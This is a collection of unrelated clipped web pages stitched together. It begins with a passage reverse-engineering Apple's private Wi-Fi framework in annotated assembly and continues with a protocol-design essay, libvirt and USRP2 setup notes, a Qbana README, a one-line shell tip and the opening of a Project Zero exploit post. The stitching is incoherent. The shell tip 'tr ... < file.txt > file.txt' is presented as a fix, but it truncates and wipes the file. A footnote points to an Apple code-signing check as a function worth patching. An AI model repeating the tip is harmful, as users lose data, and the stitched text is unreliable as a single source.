    000000000000f9a7        movq    %rbx, %rdi
    000000000000f9aa        movq    %rax, %rdx
    000000000000f9ad        callq   0x1e3ca                 ## symbol stub for: _CFDataGetBytes
    ; CFDataGetBytes (cfdSSID,       // CFDataRef theData, 
    					 0..ssidLen,    // CFRange range,
    					 -0x210(%rbp)); // UInt8 *buffer 
    ; .. and the @"FORCE_BSSID" value..
    000000000000f9b2        leaq    0x12f47(%rip), %rsi     ## Objc cfstring ref: @"FORCE_BSSID"
    000000000000f9b9        movq    %r14, %rbx
    000000000000f9bc        movq    %rbx, %rdi
    000000000000f9bf        callq   0x1e3e8                 ## symbol stub for: _CFDictionaryGetValue
    ; CFDataRef cfdForceBSSID = CFDictionaryGetValue (arg2, @"FORCE_BSSID);
    000000000000f9c4        movq    %rax, %rdi
    000000000000f9c7        callq   _makeBoolRef
    ; brForceBSSID = makeBoolRef (cfdForceBSSID);
    000000000000f9cc        testq   %rax, %rax
    000000000000f9cf        je      0xfa4b
    ; if (!brForceBSSID) { goto fa4b; } // past all the BSSID stuff
    000000000000f9d1        movq    %rax, %rdi
    000000000000f9d4        callq   0x1e3ac                 ## symbol stub for: _CFBooleanGetValue
    000000000000f9d9        movzbl  %al, %eax
    000000000000f9dc        cmpl    $0x1, %eax
    000000000000f9df        jne     0xfa4b
    ; if (CFBooleanGetValue (brForceBSSID) != 1) { goto fa4b;} 
    
    000000000000f9e1        leaq    0x12e78(%rip), %rsi     ## Objc cfstring ref: @"BSSID"
    000000000000f9e8        movq    %rbx, %rdi
    000000000000f9eb        callq   0x1e3e8                 ## symbol stub for: _CFDictionaryGetValue
    000000000000f9f0        xorl    %r15d, %r15d
    000000000000f9f3        testq   %rax, %rax
    000000000000f9f6        je      0x103ee
    000000000000f9fc        leaq    -0x370(%rbp), %rsi
    000000000000fa03        movl    $0x12, %edx
    000000000000fa08        movl    $0x8000100, %ecx        ## imm = 0x8000100
    000000000000fa0d        movq    %rax, %rdi
    000000000000fa10        callq   0x1e472                 ## symbol stub for: _CFStringGetCString
    000000000000fa15        xorl    %r15d, %r15d
    000000000000fa18        testb   %al, %al
    000000000000fa1a        je      0x103ee
    000000000000fa20        leaq    -0x370(%rbp), %rdi
    000000000000fa27        callq   0x1e502                 ## symbol stub for: _ether_aton
    000000000000fa2c        xorl    %r15d, %r15d
    000000000000fa2f        testq   %rax, %rax
    000000000000fa32        je      0x103ee
    000000000000fa38        movw    0x4(%rax), %cx
    000000000000fa3c        movw    %cx, -0x1ec(%rbp)
    000000000000fa43        movl    (%rax), %eax
    000000000000fa45        movl    %eax, -0x1f0(%rbp)
    000000000000fa4b        ;  past the BSSID stuff.. optimized memset (rbp -0x350, '\0', 0x100);
    ...
    000000000000fabe        movq    -0x3b8(%rbp), %r14     ; remember -0x3b8(rbp) is arg3
    000000000000fac5        testq   %r14, %r14
    000000000000fac8        je      0xfb17
    ; if (!(arg3) { goto fb17 }
    000000000000faca        movq    %r14, %rdi
    000000000000facd        callq   0x1e478                 ## symbol stub for: _CFStringGetLength
    ; strLen = CFStringGetLength (arg3);   - telling as arg3 is a CFString!
    000000000000fad2        movl    $0x8000100, %esi        ## imm = 0x8000100
    ; strLenInEnc = CFStringGetLength (ssidCFString)
    000000000000fad7        movq    %rax, %rdi
    000000000000fada        callq   0x1e47e                 ## symbol stub for: _CFStringGetMaximumSizeForEncoding
    ; CFStringGetMaximumSizeForEncoding (strLen, 0x8000100);
    000000000000fadf        xorl    %r15d, %r15d
    000000000000fae2        cmpq    $0xff, %rax
    000000000000fae8        jg      0x103ee
    ; if (strLenInEnc > 255) { goto fb17 } ;
    000000000000faee        testq   %rax, %rax
    000000000000faf1        jle     0xfb17
    ; if (strlenInEnc < 0) { goto fb17 } ;
    ; Otherwise the string can fit in up to 255. -0x350(%rbp) will hold up to 256 characters.
    000000000000faf3        leaq    -0x350(%rbp), %rsi
    000000000000fafa        movl    $0x100, %edx            ## imm = 0x100
    000000000000faff        movl    $0x8000100, %ecx        ## imm = 0x8000100
    000000000000fb04        movq    %r14, %rdi
    000000000000fb07        callq   0x1e472                 ## symbol stub for: _CFStringGetCString
    ; rc =  CFStringGetCString(arg3,  // CFStringRef theString,
    				-0x350(%rbp)            //  char *buffer, 
    				256,                    // CFIndex bufferSize,
    				0x8000100);             //  CFStringEncoding encoding );
    000000000000fb0c        xorl    %r15d, %r15d
    000000000000fb0f        testb   %al, %al
    000000000000fb11        je      0x103ee
    ; if (! rc) goto 0x103ee;
    000000000000fb17        leaq    0x4(%r13), %rsi
    000000000000fb1b        movl    $0x14, -0x240(%rbp)     # Note 0x14 = 20 = APPLE80211_IOC_ASSOCIATE           
    000000000000fb25        movl    $0x1d0, -0x238(%rbp)    # 0x1D0 is the sizeof() the struct assoc_data
    000000000000fb2f        movq    %r12, -0x230(%rbp)
    000000000000fb36        leaq    -0x250(%rbp), %rdi
    000000000000fb3d        movl    $0x28, %edx
    000000000000fb42        callq   0x1e4cc                 ## symbol stub for: ___strcpy_chk
    ; strcpy_chk ( -0x250(%rbp), %rdi, 0x4(%r13), %rsi);
    000000000000fb47	; get the value of @AP_MODE (a CFNumber)
    000000000000fb83        ; get the value of @"WPA_IE"
    000000000000fb95        ; get the value of @"RSN_IE"
    ...
    ; memset (-0x1e8(%rbp), '\0', 0x94);
    000000000000fd7d ; setup ioctl arguments
    000000000000fd97 ; rc = ioctl (Handle->socket,  0x802869C8, -0x250(%rbp));
    ; recall from all the way up there that -0x240(%rbp) holds "0x14" which is associate..
    ...
    000000000000fda7        callq   __waitForJoinResult
    
[/code]

So, `Apple80211Associate` basically checks its 2nd argument as a dict for
"AssociateParameters", which can force association to not only an SSID, but
also a specific BSSID \(presumably where the signal is strong\). Then the
actual set is performed by an `_IOW('i', 200, struct apple80211_ioctl_str)`
ioctl - `0x802869c8` , as with the association.

The prototype is therefore something like:

[code]

    int Apple80211Associate(Apple80211Ref Handle, CFDictionaryRef AssocParams, CFStringRef ign);
    int Apple80211Associate2(Apple80211Ref Handle, 
    			 CFDictionaryRef AssocParams, 
    			 CFStringRef ign, 
    			 CFMutableDictionaryRef outResults);
    
[/code]

with `outResults` being a Dictionary holding :

<pre> <dict> <key>ASSOC\_RET\_40\_BIT\_WEP <false/>
<key>ASSOC\_RET\_OPEN\_SYSTEM <false/> </dict>

Placing a breakpoint on `ioctl(2)` inside `Apple80211Associate2` shows us the
following structure is sent to the driver:

[code]

    (lldb) mem read $rdx
    0x7fff5fbff3e0: 65 6e 30 00 00 00 00 00 00 00 00 00 00 00 00 00  en0.............
    0x7fff5fbff3f0: 14 00 00 00 00 00 00 00 d0 01 00 00 00 00 00 00  ........?.......
                    ---type---- ----------- --length--- -----------
    0x7fff5fbff400: 10 f4 bf 5f ff 7f 00 00 00 00 00 00 00 00 00 00  .??_?...........
    		----data_ptr-----
    0x7fff5fbff410: 01 00 00 00  01 00 00 00 00 00 16 00 00 00  ................
                    ap_version   lower upper -pad- ap_ssid_len
    0x7fff5fbff420: 4c 65 20 4d 65 72 69 64 69 65 6e 2c 20 4e 65 77   Le Meridien, New
    0x7fff5fbff430: 20 44 65 6c 68 69 00 00 00 00 00 00 00 00 00 00   Delhi..........
    		_ssid (up to 32 bytes)_________________________
    0x7fff5fbff440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
                        ap_bssid     | 
    ...
    --
    
    
[/code]

Note code 0x14 - \(20\) - which is ASSOCIATE. Structure size is 0x1d0. The
SSID is up to 32 bytes, and is easy to see clearly. The rest of the fields
could have been left as they are \(mostly blank\). Thanks to @comex's
observation about the leaked headers, though, it becomes a simple matter to
define the structure:

[code]

    #define APPLE80211_MAX_SSID_LEN                 32
    #define APPLE80211_MAX_RSN_IE_LEN               257
    
    // Note structure isn't packed
            struct apple80211_assoc_data
            {
            u_int32_t                               version;
            u_int16_t                               ap_mode;                // apple80211_apmode
            u_int16_t                               ap_auth_lower;  // apple80211_authtype_lower
            u_int16_t                               ap_auth_upper;  // apple80211_authtype_upper
            u_int32_t                               ap_ssid_len;
            u_int8_t                                ap_ssid[ APPLE80211_MAX_SSID_LEN ];
            struct ether_addr               ap_bssid;               // prefer over ssid if not zeroed
            struct apple80211_key   ap_key; 
            // Robust security Network Information Elements
            u_int16_t                               ap_rsn_ie_len;
            u_int8_t                                ap_rsn_ie[ APPLE80211_MAX_RSN_IE_LEN ];
            u_int8_t                                ap_flags;               // apple80211_assoc_flags
            u_int8_t                                filler[0x50];
            } assoc_data;
    
    
    
[/code]

### Apple80211ErrToStr

A simple function, which provides a wrapper over `strerror(3)` \(when the
error code is less than `sys_nerr(3)`, handles codes `0xfffff0c4` \("Parameter
Error"\) through `0xffff0a5` \(the very helpful "Error"\) internally, and
returns "Unknown error" for everything else. This is shown in the disassembly
below:

[code]

    ; edi is the error code we take as a single argument
    000000000001235c        pushq   %rbp
    000000000001235d        movq    %rsp, %rbp
    0000000000012360        movq    0xfd11(%rip), %rax      ## literal pool symbol address: _sys_nerr
    0000000000012367        cmpl    %edi, (%rax)
    0000000000012369        leaq    0xcf41(%rip), %rax      ## literal pool for: "Unknown error"
    0000000000012370        jle     0x123ab                 ; if ≤ sys_nerr
    0000000000012372        cmpl    $0xfffff0a5, %edi       ## imm = 0xFFFFF0A5  (lower bound)
    0000000000012378        jl      0x123ab	                __ exit            
    000000000001237a        cmpl    $0xfffff0c4, %edi       ## imm = 0xFFFFF0C4  (upper bound)
    0000000000012380        ja      0x123ab
    0000000000012382        testl   %edi, %edi
    0000000000012384        je      0x1238e			; if code is 0, then really no error.. ---+
    +---000000012386        jle     0x12397                 ; if code is negative, it's ours          |
    |   ; if we're still here, fall through to strerror:                                              |
    |000000000012388        popq    %rbp                                                              |
    |000000000012389        jmp     0x1e574                 ## symbol stub for: _strerror             |
    |00000000001238e        leaq    0xcee9(%rip), %rax      ## literal pool for: "No Error"      ←---+
    |000000000012395        jmp     __exit;                 ;; 0x123ab       
    |  ; We get here from 012386 if code is in our error list
    000000012397        movl    $0xfffff0c4, %eax       ## imm = 0xFFFFF0C4
    000000000001239c        subl    %edi, %eax
    000000000001239e        cltq
    00000000000123a0        leaq    __apple80211ErrList(%rip), %rcx 
    00000000000123a7        movq    (%rcx,%rax,8), %rax
    __exit:
    00000000000123ab        popq    %rbp
    00000000000123ac        retq
    
[/code]

A simple loop over these codes retrieves the possible errors:

[code]

    error -3931 is Error
    error -3930 is Operation not permitted
    error -3929 is IPC error
    error -3928 is Ref not bound
    error -3927 is Station does not support PCO transition time required by AP
    error -3926 is Associating station does not support required 802.11n features
    error -3925 is Supplicant timeout
    error -3924 is Invalid PMK
    error -3923 is Cipher suite rejected
    error -3922 is Invalid RSN capabilities
    error -3921 is Unsupported RSN version
    error -3920 is Invalid AKMP
    error -3919 is Invalid pairwise cipher
    error -3918 is Invalid group cipher
    error -3917 is Invalid information element
    error -3916 is DSSS/OFDM Unsupported
    error -3915 is Short slot unsupported
    error -3914 is Unsupported rate set
    error -3913 is AP full
    error -3912 is Challenge failure
    error -3911 is Invalid authentication sequence number
    error -3910 is Authentication algorithm unsupported
    error -3909 is Association denied
    error -3908 is Reassociation denied
    error -3907 is Unsupported capabilities
    error -3906 is Unspecified failure
    error -3905 is Timeout
    error -3904 is Format error
    error -3903 is Operation not supported
    error -3902 is Unknown error
    error -3901 is Unable to allocate memory
    error -3900 is Parameter error
    
[/code]

The `IO80211Family.kext` has some codes of its own, internally, which are
accessible \(in a somewhat convoluted manner\) via the `ioctl(2)` interface.
From what I've seen, though, that's more in iOS than OS X. A code frequently
encountered is `-528350142` \- when a scan is in progress and you're trying to
associate

## Apple80211, Reborn \(as jWiFi\)

Given this, we have \*all\* the information we need to create Apple80211. In
fact, we can do a better job, by getting rid of those \#%\#$%$\# CF\* APIs,
and creating a pure, old-style C Interface. I aimed to provide a \(hopefully
fully\) compatible API to `Apple80211`'s main exported functions, as well as a
new/old API, providing direct access to data \(via the raw `ioctl(2)`
interface, without `Apple80211CopyValue()` internally. It's possible to do the
same to `CoreWiFi` and `MobileWiFi` as well, and implement them directly over
the `ioctl(2)`, instead of `mach_msg`ing the `wifid` \(bearing in mind on iOS
you'd need to entitle yourself with wlan.authentication\). The attached
therefore amalgamates the above into a fully open sourced library/framework,
which you can download here. The code will compile cleanly for OS X or iOS
\(with the help of my `gcc-iphone` wrapper\). For the guy commenting on reddit
about "no obvious reasons to port it"? I say A\) it's darn useful in a
jailbroken and environment, B\) Yes, We Can. :-\)

So that's all for 80211. If you think I've left something unexplored or have
any questions, the Book Forum is open for discussion. There'll be much more of
my findings and observations about Apple's private frameworks \(albeit without
the tedious process of reversing, like this article\), in MOXiI 2nd Edition.
The code - like all code I'm releasing with the book, is \(obviously\) open
source, and if you want to use it in whatever context you wish - be my guest
\(primum non nocere, and all that jazz you find in the SQLIte3 license\). If
you do use the code, I'd appreciate an acknowledgment, tweet, or positive
review. You're also welcome to look into our training courses \- the next one
about OS X and iOS Internals coming to San Francisco 7/27/15.

* * *
\* - `__ZN24AppleMobileFileIntegrity22AMFIEntitlementGetBoolEP4procPKcPb`, if
you're looking for the exact location - an excellent function to patch :-\).  
\*\* - The 8.1 to 8.3 update for the iPhone 6 contains a DYDIFF file, rather
than the actual shared cache. This could either be coincidental \(not too many
updates merits a diff\) or Apple could actually be reading my rants :-\)
Likely the former, since one can reverse engineer the file format and apply
the patch over the shared cache manually.

# Why filesystems have loose-coupling and your protocol doesn't—programming is
terrible

**Created:**| _12/3/2013 8:58:21 AM_  
---|---  
**Updated:**| _12/3/2013 8:58:21 AM_  
**Author:**| __  
**Tags:**| _Filesystem filesystems_  
  

# Why filesystems have loose-coupling and your protocol doesn’t****

Interfaces are a powerful concept in programming: the idea that you can
separate the abstract behaviour from the concrete implementation with a
protocol: an agreement on behaviour between components**.**

Good interfaces can lower cognitive overhead, and encourage code-reuse, but
they don’t guarantee it**.** Merely hiding implementation detail in itself
does not make libraries easy to compose, or replace**.** These properties are
commonly known as loose coupling, which comes from a larger focus on
decomposition, clear management of dependencies, and separation of
concerns**.**

Unfortunately, loose coupling is one of those things where “I know it when I
see it”, and it’s hard to break down the constraints and design choices except
through hindsight**.** Thankfully we have plenty of examples, so let’s look at
two interface styles, which I will term “RPC style” and “Filesystem
style”**.**

An RPC style API is one with a focus on verbs, IMAP, POP3 and SMTP all fall
into this pattern**.** Like many application protocols, the client issues
textual commands and the server responds with numerical codes, but each of
these protocols has a different command set and response set**.** Although you
can swap out implementations, they are hard to extend: each new feature
requires a new command to be added, subtly changing the base protocol**.**

Meanwhile, a filesystem style has a focus on nouns, or filenames, with a
comparatively small set of operations \(open, close, append\)**.** This
commonality of interface means it’s quite easy to swap out one filesystem with
another, or even use network filesystems without substantial changes to
interface or code, but you might be lured into thinking they are less
extensible because of the fixed command set**.** If you fix the verbs, how do
you extend the system**?** Through different types of files, and filesystems.

Plan 9 pioneered this approach, making unix’s ‘most things are files’ into
‘everything is a file’, or more precisely, “all services are filesystems”**.**
Instead of adding new commands \(or in unix terms, ioctls\), operating system
services were exposed as regular files**.**

For example, network protocols became a directory of connections /net/tcp/1,
/net/tcp/2**.** To create a new connection, /net/clone was read, which
returned the connection number**.** Inside the connection directory, there
were a number of files, like “ctl” and “data”**.** To send data you wrote to
the data file, and to configure the connection you wrote to the ctl file**.**
This turned out to be far more extensible, without having to write all new
commands for each service**.**

New features don’t change the protocol**.** New services speak the same basic
interfaces**.** Instead of encoding the behaviour in the protocol, the
behaviour is determined by the underlying resources or files and how the
client interprets them**.** You don’t need a separate filesystem API for image
editors, text editors, or IDEs**.**

This design is often called the “Uniform Interface Constraint”, and is present
in one of the more popular protocols, HTTP**.** Although it shares text
commands and numeric responses with earlier internet protocols, it is far more
like a filesystem than an RPC system—a small set of common verbs**.** HTTP
when used well, can result in amazing amounts of loose coupling: you can use
the same caches, proxies and load balances, to speak to a variety of
services**.** Similarly to Plan9, instead of hard coding absolute paths to
files, files can link to each other**.**

By comparison, BEEP \(A HTTP competitor\), set out to provide a generic and
extensible protocol for services**.** Instead of focusing on a common
interface, it focused on a common transport layer**.** It aimed for
extensibility, with workarounds for problems with using TCP \(Pipelining, Head
of Line blocking, and Multiplexing\), unfortunately with a considerable
implementation cost**.**

Although designed as a transport for IMAP, POP3 and the like, most new
protocols copy them, or tunnel everything over HTTP**.** BEEP hasn’t seen the
adoption the designers hoped for, possibly because they felt using XML for
connection negotiation was reasonable, but URLs were too complex**.**

Ultimately, extensibility in a protocol doesn’t come from adding new commands
and responses, it comes from being able to use existing commands on different
resources**.** Uniform interfaces are at the heart of loose coupling in
systems.

Despite this, many people who use HTTP today ram everything through one
resource via POST requests**.** Although Plan 9 gave us UTF-8 and /proc, the
idea of exposing services as filesystems has yet to go mainstream**.**
Building in loose-coupling doesn’t mean that developers will take advantage of
it**.**

****

# libvirt: VirtualBox hypervisor driver

**Created:**| _8/29/2013 2:16:27 PM_  
---|---  
**Updated:**| _8/29/2013 2:16:27 PM_  
**Author:**| __  
**Tags:**| _scripting virtusalisation_  
  

# **V** irtualBox hypervisor driver****

The libvirt VirtualBox driver can manage any VirtualBox version from version
2**.** 2 onwards**.**

##  Project Links****

  * The VirtualBox  hypervisor 

## Connections to VirtualBox driver****

The libvirt VirtualBox driver provides per-user drivers \(the "session"
instance\)**.** The uri of the driver protocol is "vbox"**.** Some example
connection URIs for the driver are:

[code]

    vbox:///session                      (local access to per-user instance)
    vbox+unix:///session                 (local access to per-user instance)
    vbox+tcp://user@example.com/session  (remote access, SASl/Kerberos)
    vbox+ssh://user@example.com/session  (remote access, SSH tunnelled)
    
[/code]

**NOTE: as of libvirt 1**.** 0**.** 6, the VirtualBox driver will always run
inside the libvirtd daemon, instead of being built-in to the libvirt**.** so
library directly**.** This change was required due to the fact that VirtualBox
code is LGPLv2-only licensed, which is not compatible with the libvirt**.** so
license of LGPLv2-or-later**.** The daemon will be auto-started when the first
connection to VirtualBox is requested**.** This change also means that it will
not be possible to use VirtualBox URIs on the Windows platform, until
additional work is completed to get the libvirtd daemon working there**.****

##  Example domain XML config****

[code]

    <domain type='vbox'>
      <name>vbox</name>
      <uuid>4dab22b31d52d8f32516782e98ab3fa0</uuid>
    
      <os>
        <type>hvm</type>
        <boot dev='cdrom'/>
        <boot dev='hd'/>
        <boot dev='fd'/>
        <boot dev='network'/>
      </os>
    
      <memory>654321</memory>
      <vcpu>1</vcpu>
    
      <features>
        <pae/>
        <acpi/>
        <apic/>
      </features>
    
      <devices>
        <disk type='file' device='cdrom'>
          <source file='/home/user/Downloads/slax-6**.** 0**.** 9.iso'/>
          <target dev='hdc'/>
          <readonly/>
        </disk>
    
        <disk type='file' device='disk'>
          <source file='/home/user/tmp/vbox.vdi'/>
          <target dev='hdd'/>
        </disk>
    
        <disk type='file' device='floppy'>
          <source file='/home/user/tmp/WIN98C.IMG'/>
          <target dev='fda'/>
        </disk>
    
        <filesystem type='mount'>
          <source dir='/home/user/stuff'/>
          <target dir='my-shared-folder'/>
        </filesystem>
    
        <**!** --BRIDGE-->
        <interface type='bridge'>
          <source bridge='eth0'/>
          <mac address='00:16:3e:5d:c7:9e'/>
          <model type='am79c973'/>
        </interface>
    
        <**!** --NAT-->
        <interface type='user'>
          <mac address='56:16:3e:5d:c7:9e'/>
          <model type='82540eM'/>
        </interface>
    
        <sound model='sb16'/>
    
        <parallel type='dev'>
          <source path='/dev/pts/1'/>
          <target port='0'/>
        </parallel>
    
        <parallel type='dev'>
          <source path='/dev/pts/2'/>
          <target port='1'/>
        </parallel>
    
        <serial type="dev">
          <source path="/dev/ttyS0"/>
          <target port="0"/>
        </serial>
    
        <serial type="pipe">
          <source path="/tmp/serial.txt"/>
          <target port="1"/>
        </serial>
    
        <hostdev mode='subsystem' type='usb'>
          <source>
            <vendor id='0x1234'/>
            <product id='0xbeef'/>
          </source>
        </hostdev>
    
        <hostdev mode='subsystem' type='usb'>
          <source>
            <vendor id='0x4321'/>
            <product id='0xfeeb'/>
          </source>
        </hostdev>
      </devices>
    </domain>
    
[/code]

****

# AirBlue - USRP2 - AWB/Leap Projects

**Created:**| _1/22/2012 7:25:43 PM_  
---|---  
**Updated:**| _1/22/2012 7:25:43 PM_  
**Author:**| __  
**Tags:**| _research DSP_  
  

# USRP2

There are a few steps for setting up Airblue in conjunction with the USRP2.
All the code referenced in this section is located in the leap-platforms-usrp
repository. You should begin with a vanilla USRP2 setup \(including the
ethernet communication cable\). We preserve the Ettus git environment in case
someone wants to jump to head. Most of these steps will be deprecated as we
improve our own internal automation.

## Flash Image

USRP2 boots off a an SD card which contains both a software image and a
hardware image. Currently this requires a separate FPGA build and a manual
setup of the FPGA SD card. We have heavily modified the USRP2 FPGA code, so as
to be incompatible with the usual Ettus releases. Here's how to build the FPGA
image:

[code]

     cd WORKSPACE &&\
     awb-shell checkout package leap-package-usrp &&\
     cd src/leap-platforms-usrp/tools/leap-platforms-usrp/usrp2/top/u2_rev3_rxtx/ &&\
     make && \
     ls build/u2_rev3.bin
    
[/code]

This builds the FPGA image for the USRP2.

You can copy this to an SD card using the gnuradio u2\_flash\_tool:

[code]

    u2_flash_tool -t fpga  --dev=/dev/XXX -w build/u2_rev3.bin
    
[/code]

Replace the XXX with the appropriate device on your machine. Be careful with
this command. Mistyping it can wipe out your hard disk.

The second step is to build the USRP firmware. We also provide a snapshot of
the firmware, although it is largely unmodified. Note that you will have to
obtain zpu and install it \[instructions on how to do this otw\].

[code]

     cd WORKSPACE &&\
     cd src/leap-platforms-usrp/tools/uhd/firmware/zpu/ &&\
     mkdir build &&\
     cd build &&\
     cmake ../ &&\
     make && \
     ls ./usrp2/usrp2_txrx_uhd.bin
    
[/code]

And load this to the SD card:

[code]

    u2_flash_tool -t s/w  --dev=/dev/XXX -w usrp2/usrp2_txrx_uhd.bin
    
[/code]

Now you have an Airblue SD card for USRP2

## UHD Interface

We are using the newer UHD version of the host side code. We have branched the
UHD code and maintain our own version. This code sets up the USRP for wideband
transmission, something that the normal UHD code doesn't do very well.
Instructions on building UHD are here but should be largely subsumed by
Airblue's apt dependencies. To build our UHD snapshot:

[code]

     cd WORKSPACE &&\
     cd src/leap-platforms-usrp/tools/uhd/host &&\
     mkdir build &&\
     cd build &&\
     cmake ../ &&\
     make && \
     ls ./examples/rx_samples_to_file
    
[/code]

## Cabling

Information on purchasing and connecting the SATA cabling can be found here.

## Setting up the Network Device

The USRP2 boxes currently require a **gigabit** internet connection to be seen
by linux. The UHD documentation will be helpful setting up the device,
although generally the following /etc/network/interfaces will work fine, where
<usrp-device> is the linux networking device \(eth1,eth2,etc...\) of the usrp:  

[code]

    ...
    <Normal system networking configuration>
    ...
    
    #Multihome for usrp2
    auto <usrp-device>
    iface <usrp-device> inet static
    address 192.168.10.1
    netmask 255.255.255.0
    
[/code]

Please note that dmesg can be very helpful in determining if your Ethernet
connection is gigabit as well as which network device the usrp is on. After
booting the USRP as described below, you should be able to ping the device.

## Running the USRP

Once the SD card has been prepared and the XUPV5 attached to the USRP2, you
can proceed to booting the USRP2. This is done by plugging in the USRP2 to a
power supply. If the SD is correctly configure, LED F should come on, followed
by a strobe of E,C, and A, followed by LED D turning on. At this point, you
must manually set a gain \(AGC is coming soon\) by running:

[code]

    ./rx_samples_to_file --freq 2442000000 --rate 20000000 --gain 35  --nsamps 10000000
    
[/code]

Note that this rx\_samples\_to\_file doesn't stream data from the USRP2. It
only configures the RX and TX pipelines and tunes the RF frontend.

This step needs to be carried out per power cycle of the USRP2. Once the USRP2
has been configured and attached, you can run normal Airblue executables on
the XUPV5. These will automatically handshake with the USRP2.

## Debugging and Errata

Different USRP2 frontends may require different gain settings for optimal
throughput. Variability ranges +/- 10dB around the 30dB setting. Once we get
AGC running this issue will go away.

The SATA link debug on the XUPV5 can be helpful in diagnosing errors:

[code]

    RX:476846563994 TX:0 Sent: 94300315271 Dropped: 1071904808 Realign: 750 Odd: 0 errors: 2546 
    
[/code]

RX and TX refer to the samples that we have sent. Because the SATA link does
not technically idle, Sent lists the number of data that we have sent to the
USRP. Under normal operating conditions, RX and Sent should increase each time
they are sampled. Realign, Odd, and Error reflect error conditions in the SATA
link. The SATA link is a little bit noisy, so this values should increment
occasionally - our implementation is robust to errors. However, if there are
large numbers of errors, it can indicate that the USRP2 did not boot
correctly. Power cycling can fix the issue.

# QXIP/Qbana

**Created:**| _1/26/2016 6:19:57 PM_  
---|---  
**Updated:**| _1/26/2016 6:19:57 PM_  
**Author:**| __  
**Tags:**| __  
  
  

###   README.md

# <img src='img/qb.png' width='121' height='115' alt='qb' />

Qbana \(Ω\) is an independent Kibana 3 fork with several additional features,
new Panels, integrated Sense and client/server aggregations support, intended
as dedicated tool for nProbe users as well as a possible alternative to Kibana
for ElasticSearch users and abusers willing to live _"off-the-grid"_

Qbana ships loaded with:

  * Dashboards for nProbe v7 and its many plugins _\(HTTP, DNS, SIP, RTP, PROCESSES, etc\)_
  * Features for server/client-side aggregations, multi-value term\_stats and stats, additional datatypes and more
  * Additional Panels and D3 Visualizers _\(Force, Flows, Flow Histograms, Bullet Stats, MuchBetterMaps, etc\)_
  * Developer console _\(Sense\)_ linked to Inspect which allows you to easily issue calls to Elasticsearch’s REST API
  * Flexibility to add/extend/change whatever you want without having to deal with anyone's business-plan

######  _"Join the Ω"_

## Overview

Qbana is an open source \(Apache Licensed\), browser based analytics and
search interface to nProbe, Logstash and other timestamped data sets stored in
ElasticSearch.

### Requirements

  * Elasticsearch 0.90.9 or above
  * A modern web browser. The latest version of Chrome, Safari and Firefox have all been tested to work. IE9 and greater should work. IE8 does not.
  * A webserver. No extensions are required, as long as it can serve plain html it will work
  * A browser reachable Elasticsearch server. Port 9200 must be open, or a proxy configured to allow access to it.

### Suggested

  * A reverse proxy to take care of security or a hosted solution which does it for you

### Mugshot

<img
src='img/8564_687474703a2f2f692e696d6775722e636f6d2f396758544b43642e706e67.png'
width='500' height='738' alt='Screenshot' />

### Docs

Documentation, panel options and tutorials can be found on the WiKi

### Installation

  1. Download and extract a snapshot or clone this repository to your webserver.
  2. Edit config.js in your deployed directory to point to your elasticsearch server. This should **not be http://localhost:9200** , but rather the fully qualified domain name of your elasticsearch server. The url entered here _must be reachable_ by your browser.
  3. Point your browser at your installation. If you're using Logstash with the default indexing configuration the included Kibana logstash interface should work nicely.

### FAQ

**Q** : Why doesnt it work? I have http://localhost:9200 in my config.js, my
webserver and elasticsearch server are on the same machine  
**A** : Qbana does not work like Kibana 2 or 4. To ease deployment, the server
side component has been eliminated. Thus **the browser connects directly to
Elasticsearch**. The default config.js setup works for the
webserver+Elasticsearch on the same machine scenario. Do not set it to
http://localhost:9200 unless your browser and elasticsearch are on the same
machine

**Q** : How do I secure this? I don't want to leave 9200 open.  
**A** : A simple nginx virtual host and proxy configuration can be found in
the sample/nginx.conf

**Q** : I'm running ES on a secured cluster with authentication. How do I
configure Qbana?  
**A** : Use in your config.js: **elasticsearch: \{server:
"https://your.elasticsearch.server:80", withCredentials: true\},**

**Q** : I'm running ES on a secured cluster with authentication. How do I
configure Sense?  
**A** : Open Sense \(/sense\) and perform an initial query/configuration using
**https://user:pass@server:port**

### Support & Contributing

If you have questions or comments, bugfixes or new feature that you would like
to contribute, **please find or open an issue about it first.**

* * *
This project sponsored by:  
<img
src='img/687474703a2f2f7777772e736970636170747572652e6f72672f646174612f696d616765732f717869702e706e67.png'
width='213' height='76' /> <img
src='img/687474703a2f2f7777772e6e746f702e6f72672f77702d636f6e74656e742f75706c6f6164732f323031312f30382f6c6f676f5f6e65775f6d2e706e67.png'
width='160' height='80' /> <img
src='img/687474703a2f2f692e696d6775722e636f6d2f634976596973722e706e67.png'
width='286' height='58' />

  

# x86 Disassembly

**Created:**| _3/13/2010 1:14:10 PM_  
---|---  
**Updated:**| _3/13/2010 1:14:47 PM_  
**Author:**| __  
**Tags:**| _bookmark asm reversing programming_  
  
<img src='img/Temp2_10765' />

# Command Line Kung Fu: Episode \#1 - Convert Dos To UNIX

**Created:**| _5/16/2009 10:36:58 AM_  
---|---  
**Updated:**| _5/16/2009 10:37:02 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#1 - Convert Dos To UNIX

Okay, so we'll start simple here at Command Line Kung Fu. I think many of us
run into the problem where we get those funny Windows characters in our files
\(^M\). These are of course Windows line breaks. The simple solution \(which
should work on OS X and Linux\):  
  

[code]

     tr '\r' '\n' < file.txt > file.txt
[/code]

  
  
I just had to do this on a file that someone shared with me. Next maybe we'll
look at how I chopped up and hacked that file with grep and cut :\)  
  
Paul Asadoorian  
PaulDotCom

# Project Zero: The poisoned NUL byte, 2014 edition

**Created:**| _8/28/2014 10:24:45 AM_  
---|---  
**Updated:**| _8/28/2014 10:24:45 AM_  
**Author:**| __  
**Tags:**| _web-app-sec Exploit vulnerability_  
  

# The poisoned NUL byte, 2014 edition

Posted by Chris Evans, Exploit Writer Underling to Tavis Ormandy

Back in this 1998 post to the Bugtraq mailing list, Olaf Kirch outlined an
attack he called “The poisoned NUL byte”. It was an off-by-one error leading
to writing a NUL byte outside the bounds of the current stack frame. On i386
systems, this would clobber the least significant byte \(LSB\) of the “saved
%ebp”, leading eventually to code execution. Back at the time, people were
surprised and horrified that such a minor error and corruption could lead to
the compromise of a process.

Fast forward to 2014. Well over a month ago, Tavis Ormandy of Project Zero
disclosed a glibc NUL byte off-by-one overwrite into the heap. Initial
reaction was skepticism about the exploitability of the bug, on account of the
malloc metadata hardening in glibc. In situations like this, the Project Zero
culture is to sometimes “wargame” the situation. geohot quickly coded up a
challenge and we were able to gain code execution. Details are captured in our
public bug. This bug contains analysis of a few different possibilities
arising from an off-by-one NUL overwrite, a solution to the wargame \(with
comments\), and of course a couple of different variants of a full exploit
\(with comments\) for a local Linux privilege escalation.

